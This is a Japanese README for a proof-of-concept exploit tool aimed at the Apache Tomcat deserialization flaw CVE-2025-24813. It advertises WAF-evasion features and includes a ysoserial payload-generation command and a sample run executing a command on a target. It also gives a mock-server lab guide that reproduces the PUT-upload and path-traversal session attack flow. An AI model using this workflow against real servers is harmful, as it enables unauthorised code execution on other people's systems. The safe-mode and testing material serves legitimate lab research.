
このリポジトリには、教育およびサイバーセキュリティ研究目的で開発された自動化エクスプロイトが含まれており、Apache Tomcat (CVE-2025-24813) における潜在的なリモートコード実行 (RCE) の脆弱性を実証することを目的としています。
このツールは、以下の点に焦点を当てた未来的なエクスプロイトスイートとして設計されています。
🧪 サイバーセキュリティ専門家、研究者、ペネトレーションテスター、レッドチーム向けに設計されています。
✅ 直感的なインタラクティブインターフェース
✅ 動的ペイロード(ysoserial またはコンパイル済み Java)
✅ カメレオンヘッダーによる WAF 対策
✅ 自動回避 + ペイロードの断片化
✅ バックエンドでの実行フィンガープリント
✅ ターゲットごとの詳細なログ
✅ サイバーパンク風の動的バナー(🔮 グリッチアニメーション)
✅ コンソールでのライブフィードバック(Rich & Colorama 使用)
必要な要件をインストールするには:
pip install -r requirements.txt
依存関係:
requests
colorama
rich
validators
さらに、以下の環境が必要です:
Java および javac が PATH に存在することysoserial.jar(ysoserial ペイロードを使用する場合)スクリプトを実行します:
python3 POC-Exploit_CVE_2025_24813.py
そして設定を完了します:
🧬 ペイロードタイプを選択 💣 コマンドを指定 🌐 ターゲットの URL を入力 🔧 回避設定と SSL 設定を調整
🔗 [?] ターゲットの URL を入力: https://victima.org
💣 [?] 実行するコマンド: whoami
🧬 [?] ペイロードタイプ: ysoserial
📂 [?] ysoserial.jar へのパス: ysoserial.jar
🔧 [?] ガジェット: CommonsCollections6
🔐 [?] SSL を確認しますか? (はい/いいえ): いいえ
🚀 実行中...
🧬 WAF を検出... 戦略を変更
⚙️ ペイロードのアップロード中...
💥 リモート実行の確認
✅ 結果: 'apache'
┌──────────────────────────────┐
│ インタラクティブモード │
├──────────────────────────────┤
│ URL 検証 │
│ セッション検出 │
│ WAF 検出 │
│ ペイロード生成 │
│ PUT による回避アップロード │
│ 実行の確認 │
└──────────────────────────────┘
↘ ターゲットごとのログ
ysoserial に基づき、脆弱なガジェットをシリアライズしてコマンドを実行します。.java ファイルをコンパイルします。CommonsCollections6Spring1Jdk7u21POC-Exploit_CVE_2025_24813.py # メインスクリプト
ysoserial.jar # 'ysoserial' を使用する場合に必要
logs/ # ターゲットごとの個別ログフォルダ
payload.ser # 一時的に生成されるペイロード
Exploit.java / .class # Java 用の一時ファイル
このツールは法的かつ教育的目的のみで作成されました。
✅ 許可される使用:
🚫 禁止される使用:
作者および協力者は、誤った使用について一切の責任を負いません。あなた自身の行動に責任を持ってください。
ysoserial、Java、Rich、Colorama、requests📄 CVE-2025-24813: Apache Tomcat Remote Code Execution 🔗 CVE MITRE で詳細を確認
MIT License
Copyright (c) 2025
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files...
詳細については
LICENSEファイルを参照してください。
この README とスクリプトは、没入感のある、視覚的でエレガントな体験を提供するように設計されており、新しい時代の未来的なサイバーセキュリティと目的意識に調和しています。
✨ 単なるエクスプロイトではありません... それは回避とデジタル制御の技術的交響曲です。
推奨バージョン: Python 3.8+
インストールする Python ライブラリ:
pip install requests colorama
このスクリプトは2種類のペイロードを使用します:
そのため、以下が必要です:
Java JDK(コードをコンパイルするため、JRE だけでは不十分)。 以下で確認:
java -version
javac -version
両方のコマンドが正常に動作すれば準備完了です。
.jar ファイルをこちらからダウンロード 👉 https://github.com/frohoff/ysoserial
スクリプトと同じディレクトリに保存するか、要求されたときにフルパスを指定します。 例:
java -jar ysoserial.jar CommonsCollections6 "calc.exe" > test.ser
calc.exe) が電卓を開きます。gnome-calculator や xcalc に変更できます。Python 3.8+ をインストール
ライブラリをインストール:
pip install requests colorama etc
Java JDK 8+ をインストール
java -version
javac -version
ysoserial.jar をスクリプトフォルダにダウンロード
👉 これで、安全なラボモード(管理されたテスト環境のみ)でスクリプトを実行できるようになります。
バージョン: 1.0 目的: このガイドでは、あなたのスクリプトを完全に安全な環境でテストする方法を説明します。実際のシステムに影響を与えることなく、テストサーバー(モック)、セーフモード(DRY_RUN / SAFE_TEST)、およびラボでツールを実行するための明確な手順を提供します。
pip が利用可能であること。virtualenv または venv。依存関係をインストールします:
python3 -m venv .venv
source .venv/bin/activate # Linux / macOS
.\.venv\Scripts\activate # Windows (PowerShell/Command Prompt)
pip install -U pip
pip install requests colorama flask
注意:
flaskはローカルのテストサーバー(モック)にのみ使用されます。
以下の内容で mock_server.py ファイルを作成します。このサーバーは、スクリプトが期待するエンドポイントをシミュレートし、状態コード(200、409、500)を制御して返すため、実際のサーバーに触れることなくスクリプトのロジックを検証できます。
# mock_server.py — 安全なテストサーバー
from flask import Flask, request, make_response, jsonify
app = Flask(__name__)
uploads = {}
@app.route('/index.jsp', methods=['GET'])
def index():
# JSESSIONID クッキーまたは "Session ID" を含むテキストを返すページをシミュレート
resp = make_response('Index page — Session ID: testsession')
resp.set_cookie('JSESSIONID', 'testsession')
return resp
@app.route('/check.txt', methods=['PUT'])
def check_put():
# 書き込み可能なリソースをシミュレート
return ('OK', 200)
@app.route('/uploads/../sessions/<session_id>.session', methods=['PUT'])
def upload_session(session_id):
# アップロードは受け付けられたが 409 を返す(スクリプトが期待する動作)
uploads[session_id] = True
return ('Conflict - uploaded', 409)
@app.route('/', methods=['GET'])
def root():
# クッキーが一致し、セッションが "アップロード" された場合、デシリアライズ失敗をシミュレートするため 500 を返す
session = request.cookies.get('JSESSIONID')
if session and uploads.get(session):
return ('Internal Server Error', 500)
return ('Hello from mock server', 200)
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8000, debug=True)
実行方法:
python mock_server.py
# モックは http://127.0.0.1:8000 で待機します
テストのために実際のペイロードを生成する必要はありません。スクリプトがアップロードできるシンプルなファイルを作成します:
echo "DUMMY_PAYLOAD" > payload.ser
このファイルには実行可能なコードは含まれていません。アップロードのロジックを検証し、モックサーバーの応答を確認するためだけに使用します。
スクリプトが外部ユーティリティ(Java/ysoserial)を呼び出したり危険なアクションを実行したりしないように、メインスクリプトの先頭(ペイロード生成/サブプロセス呼び出しの前)に以下のブロックを追加します:
import os
SAFE_TEST = os.environ.get('SAFE_TEST', '0') == '1'
次に、SAFE_TEST が True の場合に安全に動作するように、生成/アップロード関数を変更(またはラップ)します。
generate_ysoserial_payload と generate_java_payload の最小限の変更例:
def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file, target_url):
if SAFE_TEST:
log_info("SAFE_TEST 有効 — ダミーペイロードを作成中(実行不可)", target_url)
with open(payload_file, 'wb') as f:
f.write(b"DUMMY_PAYLOAD")
return payload_file
# --- 元の動作(SAFE_TEST == False の場合のみ)---
def generate_java_payload(command, payload_file, target_url):
if SAFE_TEST:
log_info("SAFE_TEST 有効 — Java ダミーペイロードを作成中(実行不可)", target_url)
with open(payload_file, 'wb') as f:
f.write(b"DUMMY_JAVA_PAYLOAD")
return payload_file
# --- 元の動作(SAFE_TEST == False の場合のみ)---
そして、upload_and_verify_payload 関数では、SAFE_TEST が True の場合、通常のフローを使用します(モックが受け入れます)が、スクリプト外でコマンドを実行しないでください。
SAFE_TEST の有効化方法:
Linux/macOS:
export SAFE_TEST=1
Windows (PowerShell):
$env:SAFE_TEST = "1"
仮想環境を起動し、依存関係がインストールされていることを確認します(必要条件のセクションを参照)。
mock_server.py を起動します:
python mock_server.py
SAFE_TEST を使用しない場合、または SAFE_TEST が自動的にペイロードを作成しない場合、ダミーペイロードを作成します:
echo "DUMMY_PAYLOAD" > payload.ser
ターミナルでセーフモードを有効にします:
export SAFE_TEST=1 # Linux/macOS
# PowerShell の場合: $env:SAFE_TEST = "1"
メインスクリプトを実行します:
python3 tu_script.py
プロンプトに答えます(ラボ値を使用します):
http://127.0.0.1:8000ysoserial(SAFE_TEST=1 の場合、スクリプトは外部ツールを呼び出さずにダミーペイロードを作成します)ysoserial.jar のままにできます — セーフモードでは使用されません)いいえ(モックは HTTP を使用)コンソール出力を確認します:Server is writable via PUT、Payload uploaded with status 409、Exploit succeeded! Server returned 500 after deserialization. というメッセージが表示されるはずです — これはモック上でのみの動作であり、スクリプトの論理フローが機能していることを意味します。
logs/ のログを確認します — スクリプトはタイムスタンプ付きのエントリを保存します。例:logs/127_0_0_1_8000.log(サニタイズされたターゲット名に応じて)。
check_writable_servlet 関数が /check.txt エンドポイントへの PUT 成功を検出すること。payload.ser をアップロードした後、モックが 409 を返し、スクリプトが JSESSIONID クッキーを使って GET リクエストを行うこと。pytest と requests-mock を使用して HTTP 応答をシミュレートします。
以下のテストを作成します:
validate_url — 有効/無効な入力。retry_request — 例外とリトライのシミュレーション。detect_waf — 署名の有無による Server ヘッダーのシミュレーション。upload_and_verify_payload — サーバーモックを使用してフローを検証。requests-mock を使用した簡単な例(スケルトン):
# test_script.py
import requests
import requests_mock
from tu_script import validate_url, retry_request
def test_validate_url():
assert validate_url('http://127.0.0.1:8000')
assert not validate_url('notaurl')
def test_retry_request_success():
# requests_mock を使用して GET をシミュレートし、retry_request をテスト
pass
著者:ByMakavali